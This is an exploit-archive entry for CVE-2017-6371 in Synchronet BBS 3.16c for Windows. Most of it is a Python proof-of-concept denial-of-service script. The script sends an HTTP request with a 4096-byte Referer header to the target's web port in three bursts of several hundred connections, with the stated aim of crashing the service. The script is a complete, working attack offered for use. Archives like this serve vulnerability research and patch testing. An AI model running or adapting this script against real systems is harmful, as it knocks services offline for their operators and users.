Synchronet BBS 3.16c for Windows – Multiple vulnerabilities

Published
Credit
Risk
2017.03.01
Peter Baris
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-6371
No
Yes

# Exploit Title: Synchronet BBS 3.16c for Windows – Multiple vulnerabilities
# Date: 2017-02-28
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: ftp://synchro.net/Synchronet/sbbs316c.zip
# Version: 3.16c for Windows
# Tested on: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64
# CVE : CVE-2017-6371

import socket
import time
import sys

try:
host = sys.argv[1]
port = 80
except IndexError:
print "[+] Usage %s <host> " % sys.argv[0]
sys.exit()


exploit = "\x41"*4096

buffer = "GET /index.ssjs HTTP/1.1\r\n"
buffer+= "Host: 192.168.198.129\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: "+exploit+"\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

i = 1
while i < 957:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
print("[*] Try: "+str(i))
s.send(buffer)
s.close()
i=i+1
except:
print("[-] The service seems to be down\r\n")
break


print("[i] Waiting a few seconds before starting a second attack.\r\n")
time.sleep(25)
print("[*] Second run to trigger the DoS")
i = 1
while i < 957:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
print("[*] Try: "+str(i))
s.send(buffer)
s.close()
i=i+1
except:
print("[-] The service seems to be down.\r\n")
break

print("[i] Wait before the final strike.\r\n")
time.sleep(25)
print("[*] Third run to trigger the DoS")
i = 1
while i < 957:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
print("[*] Try: "+str(i))
s.send(buffer)
s.close()
i=i+1
except:
print("[-] The service seems to be down.\r\n")
print("[!] It can take a few seconds for the service to crash\r\n")
break


See this note in RAW Version

 
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